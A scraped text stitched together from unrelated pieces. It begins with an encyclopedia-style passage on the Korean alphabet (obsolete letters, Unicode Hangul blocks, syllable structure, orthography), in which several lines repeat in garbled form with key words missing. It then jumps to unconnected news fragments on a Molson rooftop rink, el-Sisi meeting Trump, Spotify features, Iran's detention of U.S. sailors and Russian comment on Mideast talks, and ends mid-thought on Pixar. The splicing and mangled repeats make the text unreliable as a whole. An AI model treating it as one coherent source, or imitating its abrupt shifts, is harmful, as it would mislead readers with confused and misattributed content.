44 obsolete diphthongs and vowel sequences: ᆜ, ᆝ, ᆢ, ᅷ, ᅸ, ᅹ, ᅺ, ᅻ, ᅼ, ᅽ, ᅾ, ᅿ, ᆀ, ᆁ, ᆂ, ᆃ, ㆇ, ㆈ, ᆆ, ᆇ, ㆉ, ᆉ, ᆊ, ᆋ, ᆌ, ᆍ, ᆎ, ᆏ, ᆐ, ㆊ, ㆋ, ᆓ, ㆌ, ᆕ, ᆖ, ᆗ, ᆘ, ᆙ, ᆚ, ᆛ, ᆟ, ᆠ, ㆎ
In the original Korean alphabet system, double letters were used to represent Chinese voiced (濁音) consonants, which survive in the Shanghainese slack consonants and were not used for Korean words. It was only later that a similar convention was used to represent the modern "tense" (faucalized) consonants of Korean.
The sibilant ("dental") consonants were modified to represent the two series of Chinese sibilants, alveolar and retroflex, a "round" vs. "sharp" distinction (analogous to s vs sh) which was never made in Korean, and was even being lost from southern Chinese. The alveolar letters had longer left stems, while retroflexes had longer right stems:
Original consonants ㅅ ㅆ ㅈ ㅉ ㅊ Chidueum (alveolar sibilant) ᄼ ᄽ ᅎ ᅏ ᅔ Jeongchieum (retroflex sibilant) ᄾ ᄿ ᅐ ᅑ ᅕ
Most common [ edit ]
ㆍ ə (in Modern Korean called arae-a 아래아 "lower a" ): Presumably pronounced ʌ] ㅓ ( eo ). It is written as a dot, positioned beneath the consonant. The arae-a is not entirely obsolete, as it can be found in various brand names, and in the Jeju language, where it is pronounced ɒ] ə formed a medial of its own, or was found in the diphthong ㆎ əy , written with the dot under the consonant and ㅣ ( i ) to its right, in the same fashion as ㅚ or ㅢ .
(in Modern Korean called "lower ): Presumably pronounced ( ). It is written as a dot, positioned beneath the consonant. The is not entirely obsolete, as it can be found in various brand names, and in the Jeju language, where it is pronounced formed a medial of its own, or was found in the diphthong , written with the dot under the consonant and ( ) to its right, in the same fashion as or . ㅿ z ( bansiot 반시옷 "half s ", banchieum 반치음 ): An unusual sound, perhaps IPA [ʝ̃] (a nasalized palatal fricative). Modern Korean words previously spelled with ㅿ substitute ㅅ or ㅇ .
( "half ", ): An unusual sound, perhaps IPA (a nasalized palatal fricative). Modern Korean words previously spelled with substitute or . ㆆ ʔ ( yeorinhieuh 여린히읗 "light hieut" or doenieung 된이응 "strong ieung"): A glottal stop, "lighter than ㅎ and harsher than ㅇ ".
( "light hieut" or "strong ieung"): A glottal stop, "lighter than and harsher than ". ㆁ ŋ ( yesieung 옛이응 ): The original letter for [ŋ] ; now conflated with ㅇ ieung . (With some computer fonts such as Arial Unicode MS, yesieung is shown as a flattened version of ieung, but the correct form is with a long peak, longer than what one would see on a serif version of ieung .)
( ): The original letter for ; now conflated with . (With some computer fonts such as Arial Unicode MS, is shown as a flattened version of but the correct form is with a long peak, longer than what one would see on a serif version of .) ㅸ β (gabyeounbieup 가벼운비읍 , sungyeongeumbieup 순경음비읍 ): IPA [f] . This letter appears to be a digraph of bieup and ieung, but it may be more complicated than that. There were three other, less-common letters for sounds in this section of the Chinese rime tables, ㅱ w ( [w] or [m] ), a theoretical ㆄ f, and ㅹ ff [v̤] ; the bottom element appears to be only coincidentally similar to ieung. Whatever its exact shape, it operates somewhat like a following h in the Latin alphabet (one may think of these letters as bh, mh, ph, and pph respectively). Koreans do not distinguish these sounds now, if they ever did, conflating the fricatives with the corresponding plosives.
Restored letters [ edit ]
놉니다, 흘렀다, 깨달으니, 지어, 고와, 왕, 가져서 written in New Orthography. The wordswritten in New Orthography.
To make the Korean alphabet a perfect morphophonological fit to the Korean language, North Korea introduced six new letters, which were published in the New Orthography for the Korean Language and used officially from 1948 to 1954.
Two obsolete letters were restored: ⟨ㅿ⟩ (리읃), which was used to indicate an alternation in pronunciation between initial /l/ and final /d/; and ⟨ㆆ⟩ (히으), which was only pronounced between vowels. Two modifications of the letter ㄹ were introduced, one for a ㄹ, which is silent finally, and one for a ㄹ, which doubled between vowels. A hybrid ㅂ-ㅜ letter was introduced for words that alternated between those two sounds (that is, a /b/, which became /w/ before a vowel). Finally, a vowel ⟨1⟩ was introduced for variable iotation.
Unicode [ edit ]
Hangul Jamo (U+1100–U+11FF) and Hangul Compatibility Jamo (U+3130–U+318F) blocks were added to the Unicode Standard in June 1993 with the release of version 1.1. The characters were relocated to their present locations in July, 1996 with the release of version 2.0.
Hangul Jamo Extended-A (U+A960–U+A97F) and Hangul Jamo Extended-B (U+D7B0–U+D7FF) blocks were added to the Unicode Standard in October 2009 with the release of version 5.2.
Hangul Jamo[1]
Official Unicode Consortium code chart (PDF) 0 1 2 3 4 5 6 7 8 9 A B C D E F U+110x ᄀ ᄁ ᄂ ᄃ ᄄ ᄅ ᄆ ᄇ ᄈ ᄉ ᄊ ᄋ ᄌ ᄍ ᄎ ᄏ U+111x ᄐ ᄑ ᄒ ᄓ ᄔ ᄕ ᄖ ᄗ ᄘ ᄙ ᄚ ᄛ ᄜ ᄝ ᄞ ᄟ U+112x ᄠ ᄡ ᄢ ᄣ ᄤ ᄥ ᄦ ᄧ ᄨ ᄩ ᄪ ᄫ ᄬ ᄭ ᄮ ᄯ U+113x ᄰ ᄱ ᄲ ᄳ ᄴ ᄵ ᄶ ᄷ ᄸ ᄹ ᄺ ᄻ ᄼ ᄽ ᄾ ᄿ U+114x ᅀ ᅁ ᅂ ᅃ ᅄ ᅅ ᅆ ᅇ ᅈ ᅉ ᅊ ᅋ ᅌ ᅍ ᅎ ᅏ U+115x ᅐ ᅑ ᅒ ᅓ ᅔ ᅕ ᅖ ᅗ ᅘ ᅙ ᅚ ᅛ ᅜ ᅝ ᅞ HC
F U+116x HJ
F ᅡ ᅢ ᅣ ᅤ ᅥ ᅦ ᅧ ᅨ ᅩ ᅪ ᅫ ᅬ ᅭ ᅮ ᅯ U+117x ᅰ ᅱ ᅲ ᅳ ᅴ ᅵ ᅶ ᅷ ᅸ ᅹ ᅺ ᅻ ᅼ ᅽ ᅾ ᅿ U+118x ᆀ ᆁ ᆂ ᆃ ᆄ ᆅ ᆆ ᆇ ᆈ ᆉ ᆊ ᆋ ᆌ ᆍ ᆎ ᆏ U+119x ᆐ ᆑ ᆒ ᆓ ᆔ ᆕ ᆖ ᆗ ᆘ ᆙ ᆚ ᆛ ᆜ ᆝ ᆞ ᆟ U+11Ax ᆠ ᆡ ᆢ ᆣ ᆤ ᆥ ᆦ ᆧ ᆨ ᆩ ᆪ ᆫ ᆬ ᆭ ᆮ ᆯ U+11Bx ᆰ ᆱ ᆲ ᆳ ᆴ ᆵ ᆶ ᆷ ᆸ ᆹ ᆺ ᆻ ᆼ ᆽ ᆾ ᆿ U+11Cx ᇀ ᇁ ᇂ ᇃ ᇄ ᇅ ᇆ ᇇ ᇈ ᇉ ᇊ ᇋ ᇌ ᇍ ᇎ ᇏ U+11Dx ᇐ ᇑ ᇒ ᇓ ᇔ ᇕ ᇖ ᇗ ᇘ ᇙ ᇚ ᇛ ᇜ ᇝ ᇞ ᇟ U+11Ex ᇠ ᇡ ᇢ ᇣ ᇤ ᇥ ᇦ ᇧ ᇨ ᇩ ᇪ ᇫ ᇬ ᇭ ᇮ ᇯ U+11Fx ᇰ ᇱ ᇲ ᇳ ᇴ ᇵ ᇶ ᇷ ᇸ ᇹ ᇺ ᇻ ᇼ ᇽ ᇾ ᇿ Notes 1. ^ 2. ᄀ : Hangul jamo with a green background are modern-usage characters which can be converted into precomposed Hangul syllables under Unicode normalization form NFC.
Hangul jamo with a white background are used for archaic Korean only, and there are no corresponding precomposed Hangul syllables.
"Conjoining Jamo Behavior" (PDF) . The Unicode Standard. June 2018.
Hangul Jamo Extended-A[1][2]
Official Unicode Consortium code chart (PDF) 0 1 2 3 4 5 6 7 8 9 A B C D E F U+A96x ꥠ ꥡ ꥢ ꥣ ꥤ ꥥ ꥦ ꥧ ꥨ ꥩ ꥪ ꥫ ꥬ ꥭ ꥮ ꥯ U+A97x ꥰ ꥱ ꥲ ꥳ ꥴ ꥵ ꥶ ꥷ ꥸ ꥹ ꥺ ꥻ ꥼ Notes 1. ^ 2. ^
Hangul Jamo Extended-B[1][2]
Official Unicode Consortium code chart (PDF) 0 1 2 3 4 5 6 7 8 9 A B C D E F U+D7Bx ힰ ힱ ힲ ힳ ힴ ힵ ힶ ힷ ힸ ힹ ힺ ힻ ힼ ힽ ힾ ힿ U+D7Cx ퟀ ퟁ ퟂ ퟃ ퟄ ퟅ ퟆ ퟋ ퟌ ퟍ ퟎ ퟏ U+D7Dx ퟐ ퟑ ퟒ ퟓ ퟔ ퟕ ퟖ ퟗ ퟘ ퟙ ퟚ ퟛ ퟜ ퟝ ퟞ ퟟ U+D7Ex ퟠ ퟡ ퟢ ퟣ ퟤ ퟥ ퟦ ퟧ ퟨ ퟩ ퟪ ퟫ ퟬ ퟭ ퟮ ퟯ U+D7Fx ퟰ ퟱ ퟲ ퟳ ퟴ ퟵ ퟶ ퟷ ퟸ ퟹ ퟺ ퟻ Notes 1. ^ 2. ^
Hangul Compatibility Jamo[1][2]
Official Unicode Consortium code chart (PDF) 0 1 2 3 4 5 6 7 8 9 A B C D E F U+313x ㄱ ㄲ ㄳ ㄴ ㄵ ㄶ ㄷ ㄸ ㄹ ㄺ ㄻ ㄼ ㄽ ㄾ ㄿ U+314x ㅀ ㅁ ㅂ ㅃ ㅄ ㅅ ㅆ ㅇ ㅈ ㅉ ㅊ ㅋ ㅌ ㅍ ㅎ ㅏ U+315x ㅐ ㅑ ㅒ ㅓ ㅔ ㅕ ㅖ ㅗ ㅘ ㅙ ㅚ ㅛ ㅜ ㅝ ㅞ ㅟ U+316x ㅠ ㅡ ㅢ ㅣ HF ㅥ ㅦ ㅧ ㅨ ㅩ ㅪ ㅫ ㅬ ㅭ ㅮ ㅯ U+317x ㅰ ㅱ ㅲ ㅳ ㅴ ㅵ ㅶ ㅷ ㅸ ㅹ ㅺ ㅻ ㅼ ㅽ ㅾ ㅿ U+318x ㆀ ㆁ ㆂ ㆃ ㆄ ㆅ ㆆ ㆇ ㆈ ㆉ ㆊ ㆋ ㆌ ㆍ ㆎ Notes 1. ^ 2. ^
Parenthesised (U+3200–U+321E) and circled (U+3260–U+327E) Hangul compatibility characters are in the Enclosed CJK Letters and Months block:
Half-width Hangul compatibility characters (U+FFA0–U+FFDC) are in the Halfwidth and Fullwidth Forms block:
Hangul subset of Halfwidth and Fullwidth Forms[1][2]
Official Unicode Consortium code chart (PDF) 0 1 2 3 4 5 6 7 8 9 A B C D E F ... (U+FF00–U+FF9F omitted) U+FFAx HW
HF ﾡ ﾢ ﾣ ﾤ ﾥ ﾦ ﾧ ﾨ ﾩ ﾪ ﾫ ﾬ ﾭ ﾮ ﾯ U+FFBx ﾰ ﾱ ﾲ ﾳ ﾴ ﾵ ﾶ ﾷ ﾸ ﾹ ﾺ ﾻ ﾼ ﾽ ﾾ U+FFCx ￂ ￃ ￄ ￅ ￆ ￇ ￊ ￋ ￌ ￍ ￎ ￏ U+FFDx ￒ ￓ ￔ ￕ ￖ ￗ ￚ ￛ ￜ ... (U+FFE0–U+FFEF omitted) Notes 1. ^ 2. ^
The Korean alphabet in other Unicode blocks:
Morpho-syllabic blocks [ edit ]
Except for a few grammatical morphemes prior to the twentieth century, no letter stands alone to represent elements of the Korean language. Instead, letters are grouped into syllabic or morphemic blocks of at least two and often three: a consonant or a doubled consonant called the initial (초성, 初聲 choseong syllable onset), a vowel or diphthong called the medial (중성, 中聲 jungseong syllable nucleus), and, optionally, a consonant or consonant cluster at the end of the syllable, called the final (종성, 終聲 jongseong syllable coda). When a syllable has no actual initial consonant, the null initial ㅇ ieung is used as a placeholder. (In the modern Korean alphabet, placeholders are not used for the final position.) Thus, a block contains a minimum of two letters, an initial and a medial. Although the Korean alphabet had historically been organized into syllables, in the modern orthography it is first organized into morphemes, and only secondarily into syllables within those morphemes, with the exception that single-consonant morphemes may not be written alone.
The sets of initial and final consonants are not the same. For instance, ㅇ ng only occurs in final position, while the doubled letters that can occur in final position are limited to ㅆ ss and ㄲ kk.
Not including obsolete letters, 11,172 blocks are possible in the Korean alphabet.
Letter placement within a block [ edit ]
The placement or "stacking" of letters in the block follows set patterns based on the shape of the medial.
Consonant and vowel sequences such as ㅄ bs, ㅝ wo, or obsolete ㅵ bsd, ㆋ üye are written left to right.
Vowels (medials) are written under the initial consonant, to the right, or wrap around the initial from bottom to right, depending on their shape: If the vowel has a horizontal axis like ㅡ eu, then it is written under the initial; if it has a vertical axis like ㅣ i, then it is written to the right of the initial; and if it combines both orientations, like ㅢ ui, then it wraps around the initial from the bottom to the right:
initial medial initial medial initial med.
2 med. 1
A final consonant, if present, is always written at the bottom, under the vowel. This is called 받침 batchim "supporting floor":
initial medial final initial medial final initial med.
2 med. final
A complex final is written left to right:
initial medial final 1 final 2 initial medial final 1 final 2 initial med.
2 med. fin. 1 fin. 2
Blocks are always written in phonetic order, initial-medial-final. Therefore:
Syllables with a horizontal medial are written downward: 읍 eup ;
; Syllables with a vertical medial and simple final are written clockwise: 쌍 ssang ;
; Syllables with a wrapping medial switch direction (down-right-down): 된 doen ;
; Syllables with a complex final are written left to right at the bottom: 밟 balp.
Block shape [ edit ]
Normally the resulting block is written within a square of the same size and shape as a Hanja (Chinese character) by compressing or stretching the letters to fill the bounds of the block; therefore someone not familiar with the scripts may mistake the Korean alphabet for Hanja or Chinese.
However, some recent fonts (for example Eun,[48] HY깊은샘물M, UnJamo]) move towards the European practice of letters whose relative size is fixed, and use whitespace to fill letter positions not used in a particular block, and away from the East Asian tradition of square block characters (方块字). They break one or more of the traditional rules:
Do not stretch initial consonant vertically, but leave white space below if no lower vowel and/or no final consonant.
Do not stretch right-hand vowel vertically, but leave white space below if no final consonant. (Often the right-hand vowel extends farther down than the left-hand consonant, like a descender in European typography)
Do not stretch final consonant horizontally, but leave white space to its left.
Do not stretch or pad each block to a fixed width, but allow kerning (variable width) where syllable blocks with no right-hand vowel and no double final consonant can be narrower than blocks that do have a right-hand vowel or double final consonant.
These fonts have been used as design accents on signs or headings, rather than for typesetting large volumes of body text.
Linear Korean [ edit ]
There was a minor and unsuccessful movement in the early twentieth century to abolish syllabic blocks and write the letters individually and in a row, in the fashion of writing Latin alphabet as in English and other European languages. e.g. ㅎㅏㄴㄱㅡㄹ for 한글 Hangeul.[49] It is called 풀어쓰기 (pul-eo-sseu-gi 'unassembled writing').
Avant-garde typographer Ahn Sangsu made a font for the "Hangul Dada" exposition that exploded the syllable blocks; but while it strings out the letters horizontally, it retains the distinctive vertical position each letter would normally have within a block, unlike the century-old linear writing proposals.[50]
Such an idea of writing Korean with Hangul jamo without being assembled into syllabic characters is of a historical interest only as it foregoes the most distinctive feature of the Hangul writing system, that is, the standard convention of 모아쓰기 (mo-a-sseu-gi 'assembled writing').
Orthography [ edit ]
Until the 20th century, no official orthography of the Korean alphabet had been established. Due to liaison, heavy consonant assimilation, dialectal variants and other reasons, a Korean word can potentially be spelled in multiple ways. Sejong seemed to prefer morphophonemic spelling (representing the underlying root forms) rather than a phonemic one (representing the actual sounds). However, early in its history the Korean alphabet was dominated by phonemic spelling. Over the centuries the orthography became partially morphophonemic, first in nouns and later in verbs. The modern Korean alphabet is as morphophonemic as is practical. The difference between phonetic Romanization, phonemic orthography and morpho-phonemic orthography can be illustrated with the phrase motaneun sarami:
Phonetic transcription and translation: motaneun sarami
[mo.tʰa.nɯn.sa.ɾa.mi]
a person who cannot do it
Phonemic transcription: 모타는사라미
/mo.tʰa.nɯn.sa.la.mi/
Morphophonemic transcription: 못하는사람이
|mot-ha-nɯn-sa.lam-i|
Morpheme-by-morpheme gloss: 못–하–는 사람=이 mot-ha-neun saram=i cannot-do-[attributive] person=[subject]
After the Gabo Reform in 1894, the Joseon Dynasty and later the Korean Empire started to write all official documents in the Korean alphabet. Under the government's management, proper usage of the Korean alphabet and Hanja, including orthography, was discussed, until the Korean Empire was annexed by Japan in 1910.
The Government-General of Korea popularised a writing style that mixed Hanja and the Korean alphabet, and was used in the later Joseon dynasty. The government revised the spelling rules in 1912, 1921 and 1930, to be relatively phonemic.
The Hangul Society, founded by Ju Si-gyeong, announced a proposal for a new, strongly morphophonemic orthography in 1933, which became the prototype of the contemporary orthographies in both North and South Korea. After Korea was divided, the North and South revised orthographies separately. The guiding text for orthography of the Korean alphabet is called Hangeul Matchumbeop, whose last South Korean revision was published in 1988 by the Ministry of Education.
Mixed scripts [ edit ]
[ɡ] written as Latin ⟨G⟩. (Compare this large ⟨G⟩ with the smaller ⟨G⟩ in all-Latin Gardena below: The large ⟨G⟩ is fused (at bottom-right) with the Korean alphabet ⟨ ㄱ ⟩ that would normally be used to transcribe Gardena.) The U.S. city of Gardena in the Korean alphabet, with thewritten as Latin ⟨G⟩. (Compare this large ⟨G⟩ with the smaller ⟨G⟩ in all-Latinbelow: The large ⟨G⟩ is fused (at bottom-right) with the Korean alphabet ⟨⟩ that would normally be used to transcribe.)
Since the Late Joseon dynasty period, various Hanja-Hangul mixed systems were used. In these systems, Hanja were used for lexical roots, and the Korean alphabet for grammatical words and inflections, much as kanji and kana are used in Japanese. Hanja have been almost entirely phased out of daily use in North Korea, and in South Korea they are mostly restricted to parenthetical glosses for proper names and for disambiguating homonyms.
Indo-Arabic numerals are mixed in with the Korean alphabet, e.g. 2007년 3월 22일 (22 March 2007).
Latin script and occasionally other scripts may be sprinkled within Korean texts for illustrative purposes, or for unassimilated loanwords. Very occasionally non-Hangul letters may be mixed into Korean syllabic blocks, as Gㅏ Ga at right.
Readability [ edit ]
Because of syllable clustering, words are shorter on the page than their linear counterparts would be, and the boundaries between syllables are easily visible (which may aid reading, if segmenting words into syllables is more natural for the reader than dividing them into phonemes).[51] Because the component parts of the syllable are relatively simple phonemic characters, the number of strokes per character on average is lower than in Chinese characters. Unlike syllabaries, such as Japanese kana, or Chinese logographs, none of which encode the constituent phonemes within a syllable, the graphic complexity of Korean syllabic blocks varies in direct proportion with the phonemic complexity of the syllable.[52] Unlike linear alphabets such as those derived from Latin, Korean orthography allows the reader to "utilize both the horizontal and vertical visual fields".[53] Finally, since Korean syllables are represented both as collections of phonemes and as unique-looking graphs, they may allow for both visual and aural retrieval of words from the lexicon.
Style [ edit ]
The Korean alphabet may be written either vertically or horizontally. The traditional direction is from top to bottom, right to left. Horizontal writing in the style of the Latin script was promoted by Ju Si-gyeong, and has become overwhelmingly prevalent.
In Hunmin Jeongeum, the Korean alphabet was printed in sans-serif angular lines of even thickness. This style is found in books published before about 1900, and can be found in stone carvings (on statues, for example).
Over the centuries, an ink-brush style of calligraphy developed, employing the same style of lines and angles as traditional Korean calligraphy. This brush style is called gungche (궁체 宮體), which means "Palace Style" because the style was mostly developed and used by the maidservants (gungnyeo, 궁녀 宮女) of the court in Joseon dynasty.
Modern styles that are more suited for printed media were developed in the 20th century. In 1993, new names for both Myeongjo (明朝) and Gothic styles were introduced when Ministry of Culture initiated an effort to standardize typographic terms, and the names Batang (바탕, meaning "background") and Dotum (돋움, meaning "stand out") replaced Myeongjo and Gothic respectively. These names are also used in Microsoft Windows.
A sans-serif style with lines of equal width is popular with pencil and pen writing and is often the default typeface of Web browsers. A minor advantage of this style is that it makes it easier to distinguish -eung from -ung even in small or untidy print, as the jongseong ieung (ㅇ) of such fonts usually lacks a serif that could be mistaken for the short vertical line of the letter ㅜ (u).
See also [ edit ]
Notes [ edit ]
^ 훈민정음 해례본 제자해 (Hunminjeongeum Haeryebon Jajahae or Hunminjeongeum, Chapter: Paraphrases and Examples, Section: Making of Letters), which states: 牙音ㄱ 象舌根閉喉之形. (아음(어금니 소리) ㄱ은 혀뿌리가 목구멍을 막는 모양을 본뜨고), 舌音ㄴ 象舌附上腭之形 ( 설음(혓 소리) ㄴ은 혀(끝)가 윗 잇몸에 붙는 모양을 본뜨고), 脣音ㅁ 象口形. ( 순음(입술소리) ㅁ은 입모양을 본뜨고), 齒音ㅅ 象齒形. ( 치음(잇 소리) ㅅ은 이빨 모양을 본뜨고) 象齒形. 喉音ㅇ. 象喉形 (목구멍 소리ㅇ은 목구멍의 꼴을 본뜬 것이다). ㅋ比ㄱ. 聲出稍 . 故加 . ㄴ而ㄷ. ㄷ而ㅌ. ㅁ而ㅂ. ㅂ而ㅍ. ㅅ而ㅈ. ㅈ而ㅊ. ㅇ而ㅡ. ㅡ而ㅎ. 其因聲加 之義皆同. 而唯 爲異 (ㅋ은ㄱ에 견주어 소리 남이 조금 세므로 획을 더한 것이고, ㄴ에서 ㄷ으로, ㄷ에서 ㅌ으로 함과, ㅁ에서 ㅂ으로 ㅂ에서 ㅍ으로 함과, ㅅ에서 ㅈ으로 ㅈ에서 ㅊ으로 함과, ㅇ에서 ㅡ으로 ㅡ에서 ㅎ으로 함도, 그 소리를 따라 획을 더한 뜻이 같다 . 오직 ㅇ자는 다르다.) 半舌音ㄹ. 半齒音. 亦象舌齒之形而異其體. (반혓소리ㄹ과, 반잇소리 '세모자'는 또한 혀와 이의 꼴을 본뜨되, 그 본을 달리하여 획을 더하는 뜻이 없다. ) ... The explanation of the origin of the shapes of the letters is provided within a section of Hunminjeongeum itself,(Hunminjeongeum Haeryebon JajahaeHunminjeongeum, Chapter: Paraphrases and Examples, Section: Making of Letters), which states:) ...
The outdoor sheet of ice is part of Molson Canadian’s 2016 #anythingforhockey campaign, the brewing company announced Thursday via official release.
The brewer will send four fans to compete in some shinny atop the 32-story building at 120 Adelaide St. West in Toronto’s financial district.
“Molson Canadian is passionate about hockey and sharing the love for the game with our fans,” said Chris Blackburn, Director of Marketing, Molson Canadian in a release. “Through our #anythingforhockey campaign, we are offering unforgettable experiences that will quite literally elevate the game to new heights and we look forward to sharing our winners’ experience with the world in February.”
While the contest closed on December 10, Molson is listening on calls for more Canadians to get in on the once-in-a-lifetime experience of playing rooftop hockey.
“Although we built the rooftop rink exclusively for our contest winners, we know there are many more fans out there who would love to skate on it,” added Blackburn. “We have certainly been listening to every comment and hope to share some exciting news soon.”
The rink carries a weekly operational cost of $100,000.00.
Molson Canadian Rooftop Rink – Key Facts
The rink is half the size of an official NHL sized-sheet, perfect for a three-on-three game.
While many locations were considered, the Toronto building was the only one that could accommodate the rink at a significant height.
The rink project began November 29, as equipment was lifted onto the rooftop by utilizing the cranes on a neighbouring building. Though the ice surface and boards are in place, construction will not be complete until January 10.
Complicated elements include leveling for the ice structure, infrastructure for piping, drainage, relocation of vents, water pipes and erecting a stair system for access to the roof.
Since shoveling snow off the roof isn’t a possibility, snow is melted on the roof under hot water and then drained.
Due to weight limitations, there is a strict capacity in the amount of people that can be on the roof at the same time.
To clear the ice, a flooding machine will use hot water to flood the rink and an ice scrapper to smooth it out.
During the brief remarks in front of reporters, el-Sisi referred to terrorism calling it “a satanic ideology” and “an evil one that terrorizes innocent civilians,” according to Nadia Bilbassy, the senior White House correspondent in Washington D.C. for Al Arabiya TV and MBC TV. The official White House translation of the remarks said that el-Sisi referred to “an evil ideology.”
“I’ve had a deep appreciation and admiration of your unique personality, especially as you are standing very strong in the counter-terrorism field,” he said, “to counter this satanic ideology that is claiming innocent lives, that is bringing devastation to communities and nations, and that is terrorizing innocent people.”
Sisi promised Trump, “you’ll find me supporting you very strongly and very earnestly in finding a solution to the problem of the century.”
Trump committed to fighting terrorism with al-Sisi, continuing the conversation he started with the Egyptian president during a visit in New York in September.
The music industry is experiencing a huge shift with physical and online music purchases declining and streaming music services on the rise. Among the most popular is Spotify who today in New York City made some interesting announcements to bring their customers entirely new experiences.
The most exciting new feature is for runners: Spotify now has a mode that will detect your running pace, the rhythm of your feet, and select songs that perfectly match the way you run. This is an outrageously cool idea that I know exercise enthusiasts will be dying to try out.
Spotify also announced partnerships with Nike and RunKeeper to bring this feature to the Nike Plus and RunKeeper apps later this year. We can only assume you’ll have these features on your Android Phones in due time.
Running Mode is the most exciting feature Spotify announced but it’s not the only thing. The new Spotify aims to deliver 3 key elements:
The perfect soundtrack for any part of your day
New types of content
Better experiences with innovative solutions
The “soundtrack for your life” could also prove promising. They’ve created an auto-create playlist feature that takes into consideration everything about you to continually decide what song it thinks you’ll want to hear next.
Depending on who you are it selects music for when you wake up, when you go running, when you get to work, when you’re commuting, and so on and so forth. It constantly learns who you are, where you go and when, what you like during those times, and creates the soundtrack for your life in real-time.
This isn’t a particularly new idea, but alternatives offered by the likes of Google Play Music, iTunes Radio, and Pandora don’t choose music particularly well. Spotify’s “soundtrack for your life” could end up being pretty darn awesome. We’ll have to wait, try it, and see.
Enhancing the experience with new types of content is an interesting concept as well, but again, nothing particularly new here. Spotify is adding new forms of media from popular podcasts, news programs, television shows, and more- including some video content.
Iran’s Islamic Revolutionary Guard Corps (IRGC) said it had released the sailors after determining they had entered Iranian territorial waters by mistake. IRGC Rear Admiral Ali Fadavi said the boats had strayed because of a broken navigation system.
There were no indications the sailors were harmed while in Iranian custody, the Pentagon said. The quick resolution contrasted with previous cases in which British servicemen were held considerably longer, in one case nearly two weeks.
Iran expects the U.N. nuclear watchdog to confirm on Friday it has curtailed its nuclear programme, paving the way for the unfreezing of billions of dollars of Iranian assets and an end to bans that have crippled oil exports.
In a statement carried by state television, the IRGC said the sailors were released in international waters after they apologised.
Iranian state television later released footage of one of the detained men, identified as a U.S. Navy commander, apologising for the incident.
“It was a mistake, that was our fault, and we apologise for our mistake,” the sailor said on IRIB state TV.
A Pentagon spokesman, Commander Gary Ross, said the video appeared to be authentic, “but we cannot speak to the conditions of the situation or what the crew was experiencing at the time.”
A U.S. defence official, speaking on condition of anonymity, said: “Clearly this staged video exhibits a sailor making an apology in an unknown context as an effort to defuse a tense situation and protect his crew.”
U.S. Vice President Joe Biden earlier rejected reports that Washington itself had offered Iran an apology over the incident.
The incident spilled over into the U.S. presidential campaign, where Republicans are critical of the nuclear deal Iran forged with six world powers and due to take effect soon.
At a campaign rally, Republican presidential front-runner Donald Trump, who accuses President Barack Obama of being weak on foreign policy, described the detention of the sailors as “an indication of where the hell we’re going”.
COOPERATION
A carefully worded Pentagon statement did not explain how the sailors and their two riverine command boats ended up being detained by Iran, saying only that “the Navy will investigate the circumstances that led to the sailors’ presence in Iran”.
The sailors were later taken ashore by U.S. Navy aircraft, while other sailors took charge of the boats and headed towards Bahrain, their original destination.
A senior U.S. defence official said the circumstances surrounding the incident were still not entirely clear. “We haven’t been able to fully debrief the sailors,” the official said.
The sailors were headed to a U.S. military facility in Qatar. Another defence official said the debriefings would begin on Thursday after medical and psychological tests of the sailors on Wednesday.
U.S. sailors are pictured on a boat with their hands on their heads at an unknown location in this still image taken from video taken January 12-13, 2016. REUTERS/IRINN via Reuters TV
U.S. Defense Secretary Ash Carter said he appreciated “the timely way in which this situation was resolved”. He thanked Secretary of State John Kerry for engaging with Iran to secure the sailors’ swift return.
Kerry spoke to Iranian Foreign Minister Mohammad Javad Zarif at least five times by phone, U.S. and Iranian officials said.
Appealing for the sailors’ quick release, Kerry told Zarif: “We can make this into what will be a good story for both of us,” according to a senior State Department official. He repeated that message in follow-up calls, the official said.
Iran’s Supreme Leader, Ayatollah Ali Khamenei, ordered an immediate investigation to determine whether the U.S. sailors had deliberately sailed into Iranian waters, and ultimately had the final say in their release, Iranian officials said.
Zarif said on Twitter that he was “happy to see dialogue and respect, not threats and impetuousness, swiftly resolved the sailors episode”.
Kerry thanked Iran.
“I think we can all imagine how a similar situation might have played out three or four years ago, and the fact that today this kind of issue can be resolved peacefully and efficiently is a testament to the critical role diplomacy plays in keeping our country safe, secure, and strong,” Kerry said.
Four photographs published by Shargh Daily, a Tehran newspaper, and posted on Twitter, purportedly show the moments after one of the U.S. boats was stopped by the IRGC.
Iranian state television released footage of the arrest, showing the sailors as they knelt down with hands behind their heads and their two vessels being surrounded by several IRGC fast boats.
The video showed weapons and ammunition confiscated from the sailors, who were seen eating food provided by the Iranians. There were also images of American passports being inspected.
The incident raised tensions between Iran and the United States, which, along with other world powers, reached the deal under which Iran will curb its nuclear activities in exchange for the lifting of economic sanctions.
Some conservatives in both countries, enemies since Iran’s 1979 Islamic revolution, have criticised the deal that is due to be implemented in the coming days.
NUCLEAR DEAL
Iran’s armed forces chief, Major General Hassan Firouzabadi, said the incident should demonstrate Iranian strength to “troublemakers” in the U.S. Congress, which has sought to put pressure on Iran after the nuclear deal.
Attributing the boats’ incursion into Iranian waters to a navigation error marked a de-escalation in rhetoric. Earlier, the Guards had said the boats were “snooping” in Iranian territory and Zarif had demanded an apology from Washington.
The IRGC, the Islamic Republic’s praetorian guard, is highly suspicious of U.S. military activity near Iran’s borders and many senior officers suspect Washington of pursuing regime change in Tehran.
The Guards operate land and naval units separate from the regular armed forces and stage frequent war games in the Gulf, which separates Iran from its regional rival Saudi Arabia and a U.S. naval base in Bahrain.
Slideshow (6 Images)
Last month, the U.S. Navy said an IRGC vessel fired unguided rockets near the aircraft carrier USS Harry S. Truman in the Strait of Hormuz, a critical shipping route for crude oil that connects the Gulf to the Indian Ocean. Iran denied the vessel had done so.
"Russia welcomes the general agreement on restarting Palestinian-Israeli talks on the final status of Palestinian territories announced by U.S. Secretary of State John Kerry at a press conference in Amman on July 19," a Monday commentary of the Russian Foreign Ministry says.
"Moscow has taken note of the announcement of the U.S. secretary of state that in the next few days Israeli and Palestinian negotiators would travel to Washington to finalize the formula of resuming talks," the commentary says.
"We are still convinced that only Palestinians and Israelis themselves demonstrating full responsibility for the future of their peoples can and must agree on all aspects of the Palestinian-Israeli settlement based on the well-known international legal groundwork, including UN Security Council resolutions #242 and #338, the Madrid principles, the Arab peace initiative and the decisions of the Middle East quartet of international mediators," the Foreign Ministry commentary says.
This astonished Catmull. Fresh off eight blockbuster successes in a row in 2008, he was arguing in his article “How Pixar Fosters Collective Creativity” that people exaggerate the importance of the initial idea, whereas, as he put it simply, “talent is rare.”
